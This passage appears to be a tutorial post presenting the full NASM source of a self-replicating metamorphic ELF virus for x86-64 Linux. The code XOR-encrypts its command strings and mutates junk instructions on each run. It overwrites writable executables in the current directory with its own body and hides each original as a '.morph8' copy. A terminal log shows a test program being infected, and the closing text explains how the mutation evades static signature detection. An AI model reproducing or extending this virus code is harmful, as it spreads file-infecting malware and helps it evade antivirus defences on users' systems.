    db 0x50, 0x53, 0x48, 0x87, 0xC3, 0x48, 0x87, 0xC3, 0x5B, 0x58
%endmacro

section .data

; ELF header
ELF_MAGIC       dd 0x464C457F
ELF_CLASS64     equ 2
ELF_DATA2LSB    equ 1
ELF_VERSION     equ 1
ELF_OSABI_SYSV  equ 0
```

```
ET_EXEC         equ 2
ET_DYN          equ 3
EM_X86_64       equ 62

prefixes db ADD_OP, AND_OP, XOR_OP, OR_OP, SBB_OP, SUB_OP, 0

bin_name times 256 db 0
orig_exec_name times 256 db 0
msg_cat db " /\_/\ ",10
        db "( o.o )",10
        db " > ^ <",10,0                                             ;
payload
current_dir db "./",0
; encrypted strings
cmhd                 db 0x36, 0x3D, 0x38, 0x3A, 0x31, 0x75, 0x7E, 0x2D, 0x75,
0x70, 0x26, 0x55        ; "chmod +x %s"
tchh                 db 0xAF, 0xA4, 0xA1, 0xA3, 0xA8, 0xEC, 0xE7, 0xB4, 0xEC,
0xE9, 0xBF, 0xCC        ; "chmod +x %s"
touc                 db 0xDE, 0xC5, 0xDF, 0xC9, 0xC2, 0x8A, 0x8F, 0xD9, 0xAA
; "touch %s"
cpcm                 db 0x9C, 0x8F, 0xDF, 0xDA, 0x8C, 0xDF, 0xDA, 0x8C, 0xFF
; "cp %s %s"
hidd                 db 0x59, 0x1A, 0x18, 0x05, 0x07, 0x1F, 0x4F, 0x77
; ".morph8"
exec                 db 0x1D, 0x1C, 0x16, 0x40, 0x33
; "./%s"
vxxe                 db 0xFE, 0xF0, 0xF0, 0x88
; "vxx"

xor_keys             db 0xAA, 0x55, 0xCC, 0x33, 0xFF, 0x88, 0x77
vierge_val           db 1                                             ;
first generation marker
signme               dd 0xF00C0DE                                     ;
PRNG seed


section .bss
    code             resb 65536        ; viral body
    codelen          resq 1
    vierge           resb 1            ; generation flag
    dir_buf          resb 4096
    temp_buf         resb 1024
    elf_header       resb 64
```

```
; runtime decrypted strings
touch_cmd_fmt resb    32
chmod_cmd_fmt resb    32
touch_chmod_fmt resb  32
exec_cmd_fmt resb     32
cp_cmd_fmt resb       32
vxx_str resb          8
hidden_prefix resb    16

section .text
    global _start

%define SYS_read        0
%define SYS_write       1
%define SYS_open        2
%define SYS_close       3
%define SYS_exit        60
%define SYS_lseek       8
%define SYS_getdents64  217
%define SYS_access      21
%define SYS_getrandom   318
%define SYS_execve      59
%define SYS_fstat       5
%define SYS_mmap        9
%define SYS_brk         12
%define SYS_fork        57
%define SYS_wait4       61

%define F_OK 0
%define X_OK 1
%define W_OK 2

%define O_RDONLY 0
%define O_WRONLY 1
%define O_RDWR   2
%define O_CREAT  64
%define O_TRUNC  512

%define PROT_READ  1
%define PROT_WRITE 2
%define MAP_PRIVATE 2
%define MAP_ANONYMOUS 32

section .rodata
```

```
    shell_path db "/bin/sh",0
    sh_arg0 db "sh",0
    sh_arg1 db "-c",0

; syscall wrappers with junk insertion

sys_write:
    mov rax, SYS_write
    JUNK
    syscall
    ret

sys_read:
    mov rax, SYS_read
    JUNK
    syscall
    ret

sys_open:
    mov rax, SYS_open
    JUNK
    syscall
    ret

sys_close:
    mov rax, SYS_close
    syscall
    ret

sys_lseek:
    mov rax, SYS_lseek
    syscall
    ret

sys_access:
    mov rax, SYS_access
    syscall
    ret

sys_getdents64:
    mov rax, SYS_getdents64
    syscall
    ret
```

```
sys_exit:
    mov rax, SYS_exit
    syscall

; validate ELF executable target
is_elf:
    push r12
    push r13

    mov rsi, O_RDONLY
    xor rdx, rdx
    call sys_open
    test rax, rax
    js .not_elf
    mov r12, rax

    mov rdi, r12
    mov rsi, elf_header
    mov rdx, 64
    call sys_read

    push rax
    mov rdi, r12
    call sys_close
    pop rax

    cmp rax, 64
    jl .not_elf

    ; validate ELF magic
    mov rsi, elf_header
    cmp dword [rsi], 0x464C457F
    jne .not_elf

    ; 64-bit only
    cmp byte [rsi + 4], 2
    jne .not_elf

    ; executable or shared object
    mov ax, [rsi + 16]
    cmp ax, 2
    je .valid
    cmp ax, 3
    jne .not_elf
```

```
.valid:
    mov rax, 1
    jmp .done

.not_elf:
    xor rax, rax

.done:
    pop r13
    pop r12
    ret

; string utilities

basename:                   ; extract filename from path
    mov rax, rdi
    mov rsi, rdi
.find_last_slash:
    mov bl, [rsi]
    cmp bl, 0
    je .done
    cmp bl, '/'
    jne .next_char
    inc rsi
    mov rax, rsi
    jmp .find_last_slash
.next_char:
    inc rsi
    jmp .find_last_slash
.done:
    ret


strlen:
    mov rdi, rdi
    xor rcx, rcx
.strlen_loop:
    cmp byte [rdi + rcx], 0
    je .strlen_done
    inc rcx
    jmp .strlen_loop
.strlen_done:
    mov rax, rcx
```

```
    ret

strcpy:
    mov rdi, rdi
    mov rsi, rsi
    mov rax, rdi
.cp_loop:
    mov bl, [rsi]
    mov [rdi], bl
    inc rdi
    inc rsi
    cmp bl, 0
    jne .cp_loop
    ret

strcmp:
    push rdi
    push rsi
.cmp_loop:
    mov al, [rdi]
    mov bl, [rsi]
    cmp al, bl
    jne .not_equal
    test al, al
    jz .equal
    inc rdi
    inc rsi
    jmp .cmp_loop
.equal:
    xor rax, rax
    jmp .done
.not_equal:
    movzx rax, al
    movzx rbx, bl
    sub rax, rbx
.done:
    pop rsi
    pop rdi
    ret

strstr:
    mov r8, rdi
    mov r9, rsi
```

```
    mov al, [r9]
    test al, al
    jz .found

.scan:
    mov bl, [r8]
    test bl, bl
    jz .not_found

    cmp al, bl
    je .check_match
    inc r8
    jmp .scan

.check_match:
    mov r10, r8
    mov r11, r9

.match_loop:
    mov al, [r11]
    test al, al
    jz .found

    mov bl, [r10]
    test bl, bl
    jz .not_found

    cmp al, bl
    jne .next_pos

    inc r10
    inc r11
    jmp .match_loop

.next_pos:
    inc r8
    jmp .scan

.found:
    mov rax, r8
    ret

.not_found:
    xor rax, rax
```

```
    ret

; PRNG
get_random:
    mov eax, [signme]
    mov edx, eax
    shr edx, 1
    xor eax, edx
    mov edx, eax
    shr edx, 2
    xor eax, edx
    mov [signme], eax
    ret

get_range:                  ; random in range 0-ecx
    call get_random
    xor edx, edx
    div ecx
    mov eax, edx
    ret

; decrypt string with indexed key
d_strmain:
    push rax
    push rbx
    push rcx
    push rdx
    push r8

    mov r8, xor_keys
    add r8, rcx
    mov al, [r8]

    mov rcx, rdx

    ; clear dest buffer
    push rdi
    push rcx
    mov rdi, rsi
    mov rcx, rdx
    xor bl, bl
    rep stosb
    pop rcx
    pop rdi
```

```
.d_loop:
    test rcx, rcx
    jz .d_done

    mov bl, [rdi]
    xor bl, al
    mov [rsi], bl

    inc rdi
    inc rsi
    dec rcx
    jmp .d_loop

.d_done:
    pop r8
    pop rdx
    pop rcx
    pop rbx
    pop rax
    ret

; decrypt all strings at runtime
d_str:
    push rdi
    push rsi
    push rdx
    push rcx

    mov rdi, touc
    mov rsi, touch_cmd_fmt
    mov rdx, 9
    mov rcx, 0
    call d_strmain

    mov rdi, cmhd
    mov rsi, chmod_cmd_fmt
    mov rdx, 12
    mov rcx, 1
    call d_strmain

    mov rdi, tchh
    mov rsi, touch_chmod_fmt
    mov rdx, 12
```

```
    mov rcx, 2
    call d_strmain

    mov rdi, exec
    mov rsi, exec_cmd_fmt
    mov rdx, 5
    mov rcx, 3
    call d_strmain

    mov rdi, cpcm
    mov rsi, cp_cmd_fmt
    mov rdx, 9
    mov rcx, 4
    call d_strmain

    mov rdi, vxxe
    mov rsi, vxx_str
    mov rdx, 4
    mov rcx, 5
    call d_strmain

    mov rdi, hidd
    mov rsi, hidden_prefix
    mov rdx, 8
    mov rcx, 6
    call d_strmain

    pop rcx
    pop rdx
    pop rsi
    pop rdi
    ret

; 4 variants
spawn_junk:
    push rbx
    push rcx
    push rdx
    push r8

    mov r8, rdi                 ; dst buffer

    call get_random
    and eax, 3                  ; 4 variants
```

```
    cmp eax, 0
    je .variant_0
    cmp eax, 1
    je .variant_1
    cmp eax, 2
    je .variant_2
    jmp .variant_3

.variant_0:
    ; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
    mov byte [r8], 0x50
    mov byte [r8+1], 0x53
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xC3
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xC3
    mov byte [r8+8], 0x5B
    mov byte [r8+9], 0x58
    jmp .done

.variant_1:
    ; push rcx,rdx; xchg rcx,rdx; xchg rcx,rdx; pop rdx,rcx
    mov byte [r8], 0x51
    mov byte [r8+1], 0x52
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xCA
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xCA
    mov byte [r8+8], 0x5A
    mov byte [r8+9], 0x59
    jmp .done

.variant_2:
    ; push rax,rcx; xchg rax,rcx; xchg rax,rcx; pop rcx,rax
    mov byte [r8], 0x50
    mov byte [r8+1], 0x51
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xC1
```

```
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xC1
    mov byte [r8+8], 0x59
    mov byte [r8+9], 0x58
    jmp .done

.variant_3:
    ; push rbx,rdx; xchg rbx,rdx; xchg rbx,rdx; pop rdx,rbx
    mov byte [r8], 0x53
    mov byte [r8+1], 0x52
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xD3
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xD3
    mov byte [r8+8], 0x5A
    mov byte [r8+9], 0x5B

.done:
    pop r8
    pop rdx
    pop rcx
    pop rbx
    ret

; file I/O
read_f:
    push r12
    push r13
    push r14
    push r15

    mov r15, rsi          ; save buffer pointer

    mov rax, SYS_open
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall
    test rax, rax
    js .error

    mov r12, rax
```

```
    mov rax, SYS_fstat
    mov rdi, r12
    sub rsp, 144
    mov rsi, rsp
    syscall
    test rax, rax
    js .close_e

    mov r13, [rsp + 48]     ; file size from stat
    add rsp, 144

    ; bounds check
    cmp r13, 65536
    jle .size_ok
    mov r13, 65536
.size_ok:
    test r13, r13
    jz .empty

    xor r14, r14          ; bytes read cnt

.read_loop:
    mov rax, SYS_read
    mov rdi, r12
    mov rsi, r15
    add rsi, r14          ; offset into buffer
    mov rdx, r13
    sub rdx, r14          ; remaining bytes to read
    jz .read_done
    syscall

    test rax, rax
    jle .read_done        ; EOF or error
    add r14, rax
    cmp r14, r13
    jl .read_loop

.read_done:
    mov rax, SYS_close
    mov rdi, r12
    syscall

    mov rax, r14          ; return bytes read
```

```
    jmp .done

.empty:
    mov rax, SYS_close
    mov rdi, r12
    syscall
    xor rax, rax

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    ret

.close_e:
    add rsp, 144
    mov rax, SYS_close
    mov rdi, r12
    syscall

.error:
    mov rax, -1
    pop r15
    pop r14
    pop r13
    pop r12
    ret

write_f:
    push rbp
    mov rbp, rsp
    push r12
    push r13
    push r14
    push r15

    mov r12, rdi         ; filename
    mov r13, rsi         ; buffer
    mov r14, rdx         ; size

    ; validate inputs
    test r12, r12
    jz .write_er
```

```
    test r13, r13
    jz .write_er
    test r14, r14
    jz .write_s

    mov rdi, r12
    mov rsi, O_WRONLY | O_CREAT | O_TRUNC
    mov rdx, 0755o
    call sys_open
    cmp rax, 0
    jl .write_er
    mov r12, rax         ; fd

    xor r15, r15         ; bytes written cnt

.write_lp:
    mov rdi, r12
    mov rsi, r13
    add rsi, r15         ; offset into buffer
    mov rdx, r14
    sub rdx, r15         ; remaining bytes
    jz .write_c
    call sys_write
    JUNK

    test rax, rax
    jle .r_close
    add r15, rax
    cmp r15, r14
    jl .write_lp

.write_c:
    mov rdi, r12
    call sys_close

.write_s:
    xor rax, rax         ; success
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret
```

```
.r_close:
    mov rdi, r12
    call sys_close
.write_er:
    mov rax, -1
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret

; instruction generator
trace_op:
    ; bounds check
    mov rax, [codelen]
    cmp rsi, rax
    jae .bounds_er

    mov r8, code
    add r8, rsi

    ; instruction size check
    mov rax, [codelen]
    sub rax, rsi
    cmp rax, 3
    jae .rex_xchg
    cmp rax, 2
    jae .write_prefix
    cmp rax, 1
    jae .write_nop

.bounds_er:
    xor eax, eax
    ret

.write_nop:
    mov byte [r8], NOP
    mov eax, 1
    ret

.write_prefix:
    ; validate register (0-3 only)
    cmp dil, 3
```

```
    ja .bounds_er

    call get_random
    and eax, 5
    movzx eax, byte [prefixes + rax]
    mov [r8], al

    call get_random
    and eax, 3           ; rax,rbx,rcx,rdx only
    shl eax, 3
    add eax, 0xC0
    add al, dil
    mov [r8 + 1], al

    mov eax, 2
    ret

.rex_xchg:
    ; generate REX.W XCHG
    cmp dil, 3
    ja .bounds_er

    ; get different register
    call get_random
    and eax, 3
    cmp al, dil
    je .rex_xchg   ; retry if same

    ; build REX.W XCHG r1, r2
    mov byte [r8], REX_W
    mov byte [r8 + 1], XCHG_OP

    ; ModR/M byte
    mov bl, XCHG_BASE
    mov cl, al
    shl cl, 3
    add bl, cl
    add bl, dil
    mov [r8 + 2], bl

    mov eax, 3
    ret

; instruction decoder
```

```
trace_jmp:
    push rbx
    push rcx

    cmp rsi, [codelen]
    jae .invalid

    mov r8, code
    mov al, [r8 + rsi]

    ; check for NOP
    cmp al, NOP
    je .ret_1

    ; check MOV+reg
    mov bl, MOV
    add bl, dil
    cmp al, bl
    je .ret_5

    ; check prefix instruction
    mov rbx, prefixes
.check_prefix:
    mov cl, [rbx]
    test cl, cl
    jz .invalid
    cmp cl, al
    je .check_second_byte
    inc rbx
    jmp .check_prefix

.check_second_byte:
    inc rsi
    cmp rsi, [codelen]
    jae .invalid

    mov al, [r8 + rsi]
    cmp al, 0xC0
    jb .invalid
    cmp al, 0xFF
    ja .invalid
    and al, 7
    cmp al, dil
    jne .invalid
```

```
.ret_2:
    mov eax, 2
    jmp .done
.ret_1:
    mov eax, 1
    jmp .done
.ret_5:
    mov eax, 5
    jmp .done
.invalid:
    xor eax, eax
.done:
    pop rcx
    pop rbx
    ret


; junk mutation engine
replace_junk:
    push r12
    push r13
    push r14
    push r15

    mov r8, [codelen]
    test r8, r8
    jz .done

    cmp r8, JUNKLEN
    jle .done

    sub r8, JUNKLEN
    mov r9, code
    xor r12, r12

.scan_loop:
    cmp r12, r8
    jae .done

    mov rax, [codelen]
    cmp r12, rax
    jae .done
```

```
    ; scan for junk pattern
    movzx eax, byte [r9 + r12]
    cmp al, PUSH
    jb .next_i
    cmp al, PUSH + 3          ; rax,rbx,rcx,rdx only
    ja .next_i

    ; second byte must be PUSH
    movzx ebx, byte [r9 + r12 + 1]
    cmp bl, PUSH
    jb .next_i
    cmp bl, PUSH + 3
    ja .next_i

    ; check REX.W prefix
    cmp byte [r9 + r12 + 2], REX_W
    jne .next_i

    ; check XCHG opcode
    cmp byte [r9 + r12 + 3], XCHG_OP
    jne .next_i

    ; validate complete sequence
    call validate
    test eax, eax
    jz .next_i

    ; replace with new junk
    call insert

.next_i:
    inc r12
    jmp .scan_loop

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    ret



; validate junk pattern
```

```
validate:
    push rbx
    push rcx

    ; extract registers from PUSH
    movzx eax, byte [r9 + r12]
    sub al, PUSH
    mov bl, al               ; reg1

    movzx eax, byte [r9 + r12 + 1]
    sub al, PUSH
    mov cl, al               ; reg2

    ; registers must differ
    cmp bl, cl
    je .invalid

    ; check POP sequence (reversed)
    movzx eax, byte [r9 + r12 + 8]
    sub al, POP
    cmp al, cl
    jne .invalid

    movzx eax, byte [r9 + r12 + 9]
    sub al, POP
    cmp al, bl
    jne .invalid

    mov eax, 1               ; Valid sequence
    jmp .done

.invalid:
    xor eax, eax
.done:
    pop rcx
    pop rbx
    ret

; insert new junk sequence
insert:
    push rdi

    mov rdi, r9
    add rdi, r12
```

```
    call spawn_junk

    pop rdi
    ret



;; shell command execution
exec_sh:
    sub rsp, 0x40
    mov qword [rsp], sh_arg0_ptr
    mov qword [rsp+8], rdi
    mov qword [rsp+16], 0

    mov rsi, rsp
    xor rdx, rdx

    mov rdi, shell_path
    mov rax, SYS_execve
    syscall
    mov rdi, 1
    call sys_exit

sh_arg0_ptr: dq sh_arg0
sh_arg1_ptr: dq sh_arg1

list:                        ; scan directory for infection targets
    push rbp
    mov rbp, rsp
    push r12
    push r13
    push r14
    push r15

    mov r14, rsi

    mov rdi, current_dir
    mov rsi, O_RDONLY
    mov rdx, 0
    call sys_open
    cmp rax, 0
    jl .list_error
    mov r12, rax
```

```
.list_loop:
    mov rdi, r12
    mov rsi, dir_buf
    mov rdx, 4096
    call sys_getdents64
    cmp rax, 0
    je .list_done
    mov r13, rax

    xor r15, r15

.list_entry:
    cmp r15, r13
    jge .list_loop

    mov rdi, dir_buf
    add rdi, r15

    mov r8, rdi
    add r8, 16
    movzx rax, word [r8]    ; d_reclen at offset 16

    cmp rax, 19
    jl .skip_entry
    cmp rax, 4096
    jg .skip_entry

    push rax

    mov r8, rdi
    add r8, 18
    mov cl, [r8]

    cmp cl, 8
    jne .skip_entry

    add rdi, 19

    cmp byte [rdi], '.'
    jne .check_file
    mov r8, rdi
    inc r8
    cmp byte [r8], 0
    je .skip_entry
```

```
    mov r8, rdi
    inc r8
    cmp byte [r8], '.'
    je .skip_entry

.check_file:
    push rdi

    mov rdi, r14
    call basename

    mov rsi, rax
    mov rdi, [rsp]
    call strcmp

    pop rdi
    test rax, rax
    jz .chosen_one

    push rdi
    push rsi
    push rbx

    ; Check if filename starts with .morph8
    mov rsi, hidden_prefix
    mov rbx, rdi

.see_hidden:
    mov al, [rbx]
    mov dl, [rsi]
    test dl, dl
    jz .is_hidden       ; End of prefix - it's a hidden file
    cmp al, dl
    jne .not_hidden     ; Mismatch - not hidden
    inc rbx
    inc rsi
    jmp .see_hidden

.is_hidden:
    pop rbx
    pop rsi
    pop rdi
    jmp .skip_entry
```

```
.not_hidden:
    pop rbx
    pop rsi
    pop rdi

    mov rsi, vxx_str
    call strstr
    test rax, rax
    jnz .found_vxx

    push rdi
    mov rsi, X_OK
    call sys_access
    pop rdi
    cmp rax, 0
    jne .not_exec

    push rdi
    mov rsi, W_OK
    call sys_access
    pop rdi
    cmp rax, 0
    jne .not_exec

    jmp .e_conditions

.not_exec:
    jmp .skip_entry

.e_conditions:
    sub rsp, 256
    mov r8, rsp
    push rdi

    mov rdi, r8
    mov rsi, [rsp]
    call hidden_name

    mov rax, SYS_open
    mov rdi, r8
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall
```

```
    pop rdi
    test rax, rax
    js .not_exists

    ; Hidden file exists - been here, skip it
    push rdi
    mov rdi, rax
    call sys_close
    pop rdi
    add rsp, 256
    jmp .skip_entry

.not_exists:
    add rsp, 256

    ; Check if we're trying to infect ourselves
    push rdi                 ; Save current filename

    ; Get our own basename
    mov rdi, bin_name
    call basename
    mov rsi, rax

    mov rdi, [rsp]
    call strcmp

    pop rdi

    test rax, rax
    jz .skip_self_infection  ; If filenames match, skip infection

    ; Check if file is a valid ELF executable before infection
    push rdi
    call is_elf
    pop rdi
    test rax, rax
    jz .skip_non_elf         ; Not a valid ELF, skip infection

    push rdi
    call implant
    pop rdi
    jmp .skip_entry

.skip_self_infection:
```

```
    ; Don't infect ourselves, just skip
    jmp .skip_entry

.skip_non_elf:
    ; Not a valid ELF executable, skip infection
    jmp .skip_entry

.chosen_one:
    push rdi
    mov rsi, rdi
    mov rdi, orig_exec_name
    call strcpy
    pop rdi
    jmp .skip_entry

.found_vxx:
    mov byte [vierge], 0

.skip_entry:
    pop rax
    add r15, rax
    jmp .list_entry

.list_done:
    mov rdi, r12
    call sys_close

.list_error:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret

implant:                       ; infect target executable
    push r12
    push r13
    mov r12, rdi

    ; Validate input
    test r12, r12
    jz .d_skip
```

```
    push r12
    mov rdi, r12
    call strlen
    pop r12
    mov r13, rax

    ; Check filename length bounds
    cmp r13, 200
    jg .d_skip
    test r13, r13
    jz .d_skip

    ; Check if we have code to embed
    mov rax, [codelen]
    test rax, rax
    jz .d_skip
    cmp rax, 65536
    jg .d_skip

    ; 1: Create hidden backup of original file
    sub rsp, 768
    mov rdi, rsp
    add rdi, 512         ; Use third section for hidden name
    mov rsi, r12
    call hidden_name

    ; Check if hidden backup already exists
    mov rax, SYS_open
    mov rdi, rsp
    add rdi, 512         ; hidden name
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall

    test rax, rax
    js .fallback    ; File doesn't exist, create backup

    mov rdi, rax
    call sys_close
    jmp .infect_orgi ; Proceed to reinfect with new mutations

.fallback:
    mov rdi, rsp         ; Use first section for command
    mov rsi, cp_cmd_fmt
```

```
    mov rdx, r12          ; original filename
    mov rcx, rsp
    add rcx, 512          ; hidden name
    call sprintf_two_args
    mov rdi, rsp
    call system_call

    ; Set permissions on hidden file
    mov rdi, rsp
    add rdi, 256          ; Use second section for chmod command
    mov rsi, chmod_cmd_fmt
    mov rdx, rsp
    add rdx, 512          ; hidden name
    call sprintf
    mov rdi, rsp
    add rdi, 256
    call system_call

.infect_orgi:
    add rsp, 768

    ; 2: Replace original file with viral code
    mov rdi, r12          ; original filename
    mov rsi, code
    mov rdx, [codelen]
    call write_f

.d_skip:
    pop r13
    pop r12
    ret

;; payload execution
execute:                            ; virus payload
    JUNK

    mov rdi, msg_cat
    call strlen
    mov rdx, rax

    mov rdi, 1
    mov rsi, msg_cat
    call sys_write
    JUNK
```

```
    ret

hidden_name:                ; create .morph8
    push rsi
    push rdi
    push rbx
    push rcx

    mov rbx, rsi
    mov rcx, hidden_prefix

.check_prefix:
    mov al, [rbx]
    mov dl, [rcx]
    test dl, dl
    jz .already_one         ; it matches
    cmp al, dl
    jne .add_prefix         ; Mismatch
    inc rbx
    inc rcx
    jmp .check_prefix

.already_one:
    ; File already has .morph8 prefix, just copy it
    jmp .cp_file

.add_prefix:
    ; Add .morph8 prefix
    mov byte [rdi], '.'
    mov byte [rdi + 1], 'm'
    mov byte [rdi + 2], 'o'
    mov byte [rdi + 3], 'r'
    mov byte [rdi + 4], 'p'
    mov byte [rdi + 5], 'h'
    mov byte [rdi + 6], '8'

    add rdi, 7

.cp_file:
    mov al, [rsi]
    test al, al
    jz .done
    mov [rdi], al
    inc rsi
```

```
    inc rdi
    jmp .cp_file

.done:
    mov byte [rdi], 0

    pop rcx
    pop rbx
    pop rdi
    pop rsi
    ret

sprintf:                   ; basic string formatting
    push r9
    push r10

    mov r8, rdi          ; dst
    mov r9, rsi          ; string
    mov r10, rdx         ; arg

.scan_format:
    mov al, [r9]
    test al, al
    jz .done

    cmp al, '%'
    je .found_percent

    mov [r8], al
    inc r8
    inc r9
    jmp .scan_format

.found_percent:
    inc r9
    mov al, [r9]
    cmp al, 's'
    je .cp_arg
    cmp al, '%'
    je .cp_percent

    ; Unknown format, copy literally
    mov byte [r8], '%'
    inc r8
```

```
    mov [r8], al
    inc r8
    inc r9
    jmp .scan_format

.cp_percent:
    mov byte [r8], '%'
    inc r8
    inc r9
    jmp .scan_format

.cp_arg:
    push r9
    mov r9, r10
.cp_loop:
    mov al, [r9]
    test al, al
    jz .cp_done
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.cp_done:
    pop r9
    inc r9
    jmp .scan_format

.done:
    mov byte [r8], 0
    pop r10
    pop r9
    ret
sprintf_two_args:                 ; string with two args
    push rbp
    mov rbp, rsp
    push r10
    push r11
    push r12

    mov r8, rdi          ; dst buffer
    mov r9, rsi          ; string
    mov r10, rdx         ; 1 arg
    mov r11, rcx         ; 2 arg
```

```
    xor r12, r12            ; 3 cnt

.cp_loop:
    mov al, [r9]
    test al, al
    je .done
    cmp al, '%'
    je .handle_format
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.handle_format:
    inc r9
    mov al, [r9]
    cmp al, 's'
    je .cp_string
    cmp al, '%'
    je .cp_percent

    mov byte [r8], '%'
    inc r8
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.cp_percent:
    mov byte [r8], '%'
    inc r8
    inc r9
    jmp .cp_loop

.cp_string:
    cmp r12, 0
    je .use_arg1
    mov rdx, r11            ; second arg
    jmp .do_cp
.use_arg1:
    mov rdx, r10            ; first arg
.do_cp:
    inc r12
```

```
    push r9
    push rdx
    mov r9, rdx
.str_cp:
    mov al, [r9]
    test al, al
    je .str_done
    mov [r8], al
    inc r8
    inc r9
    jmp .str_cp

.str_done:
    pop rdx
    pop r9
    inc r9
    jmp .cp_loop

.done:
    mov byte [r8], 0
    pop r12
    pop r11
    pop r10
    pop rbp
    ret

system_call:                        ; execute shell
    push r12
    mov r12, rdi

    mov rax, SYS_fork
    syscall
    test rax, rax
    jz .child_process
    js .error

    mov rdi, rax
    xor rsi, rsi
    xor rdx, rdx
    xor r10, r10
    mov rax, SYS_wait4
    syscall

    pop r12
```

```
    ret

.child_process:
    sub rsp, 32
    mov qword [rsp], sh_arg0
    mov qword [rsp+8], sh_arg1
    mov qword [rsp+16], r12
    mov qword [rsp+24], 0

    mov rax, SYS_execve
    mov rdi, shell_path
    mov rsi, rsp
    xor rdx, rdx
    syscall

    mov rax, SYS_exit
    mov rdi, 1
    syscall

.error:
    pop r12
    ret

;;  entry point
_start:
    ; anti goes here
    ;avant:
    call d_str  ; Decrypt all

    mov rax, SYS_getrandom
    mov rdi, signme
    mov rsi, 4
    xor rdx, rdx
    syscall

    mov al, [vierge_val]
    mov [vierge], al

    pop rdi
    mov rsi, rsp
    push rsi

    mov rdi, bin_name
    mov rsi, [rsp]
```

```
    call strcpy

    mov rdi, [rsp]
    call basename
    mov rdi, orig_exec_name
    mov rsi, rax
    call strcpy

    call execute

    pop rsi
    push rsi

    ; Read our own code
    mov rdi, [rsi]
    call read_code

    mov rax, [codelen]
    test rax, rax
    jz .skip_mutation

    ; Apply mutations
    call replace_junk

.skip_mutation:
    pop rsi
    push rsi
    mov rdi, current_dir
    mov rsi, [rsi]
    call list

    cmp byte [vierge], 1
    jne .exec_theone

    cmp byte [orig_exec_name], 0
    jne .orig_name_ok
    mov rdi, bin_name
    call basename
    mov rdi, orig_exec_name
    mov rsi, rax
    call strcpy

.orig_name_ok:
    ; Build hidden name for the chosen one
```

```
    sub rsp, 512
    mov rdi, rsp
    add rdi, 256
    mov rsi, orig_exec_name
    call hidden_name

    ; Create touch command
    mov rdi, rsp          ; Use first half for command
    mov rsi, touch_cmd_fmt
    mov rdx, rsp
    add rdx, 256          ; Point to hidden name
    call sprintf
    mov rdi, rsp
    call system_call

    ; Create chmod command
    mov rdi, rsp          ; Reuse first half for command
    mov rsi, touch_chmod_fmt
    mov rdx, rsp
    add rdx, 256          ; Point to hidden name
    call sprintf
    mov rdi, rsp
    call system_call
    add rsp, 512

.exec_theone:
    mov rdi, bin_name
    mov rsi, hidden_prefix
    call strstr
    test rax, rax
    jnz .killme

    ; Build hidden name and execute it
    sub rsp, 512
    mov rdi, rsp
    add rdi, 256          ; Use second half for hidden name
    mov rsi, orig_exec_name
    call hidden_name

    ; Create exec command
    mov rdi, rsp          ; Use first half for command
    mov rsi, exec_cmd_fmt
    mov rdx, rsp
    add rdx, 256          ; Point to hidden name
```

```
    call sprintf
    mov rdi, rsp
    call system_call
    add rsp, 512

.killme:
    ; Clean up any leftovers
    call zeroOut

    pop rsi
    xor rdi, rdi
    mov rax, SYS_exit
    syscall

zeroOut:
    mov rdi, code
    mov rcx, 65536
    xor al, al
    rep stosb

    mov rdi, dir_buf
    mov rcx, 4096
    xor al, al
    rep stosb

    mov rdi, temp_buf
    mov rcx, 1024
    xor al, al
    rep stosb

    ret

read_code:
    mov rsi, code
    call read_f
    test rax, rax
    js .error

    mov [codelen], rax
    ret

.error:
    mov qword [codelen], 0
    ret
```

```
extract_v:
    push r12
    push r13
    push r14

    mov rdi, bin_name
    mov rsi, code
    call read_f
    test rax, rax
    js .err_v

    cmp rax, 65536
    jle .size_ok
    mov rax, 65536

.size_ok:
    mov [codelen], rax
    jmp .ext_done

.err_v:
    mov qword [codelen], 0
    xor rax, rax

.ext_done:
    pop r14
    pop r13
    pop r12
    ret
```

This is just the base. It’s here to show core mechanics, not claim completeness. metamorphic and polymorphic engines are a lot deeper than this. What we’ve got is a starting point enough to show concept, but far from full-spectrum.

Right now, the mutation engine only knows how to deal with its own junk patterns. It doesn’t touch arbitrary instruction sequences too risky, too easy to break things.Also, it’s limited to basic register substitution. No instruction reordering, no control flow shifts, no logic replacement those require way more analysis and infrastructure.

The mutation patterns are hardcoded. There’s no adaptive behavior, no learning from the environment, no evolution over time. That’s another level we’re not touching yet. Propagation is kept simple. No parallel infection, no threading tricks could be done, just not the focus here.

```
~$ > shasum vx dummy
5701ce2ed4f2cce9d178a22ec0be5b65ab854aed  vx
914ad90a7458b73f90a9f6b1af75a9796c95f311  dummy

~$ > ./dummy
Dummy Program!

~$ > ./vx

  / \_/ \
 (  o.o  )
  > ^ <


~$ > shasum vx dummy
5701ce2ed4f2cce9d178a22ec0be5b65ab854aed  vx
8739bb902b87bfff711f3d33b8de13b001b6d09c  dummy

~$ > ./dummy

  / \_/ \
 (  o.o  )
  > ^ <

Dummy Program!
```

each generation ends up looking different at the byte level but still does the same thing behavior doesn't change just how it's written that's what breaks static signatures they'd need a separate rule for every variant and that's just not scalable. behavioral detection still sees the same execution path so from that angle nothing looks new but underneath the codebase is mutating with every run.

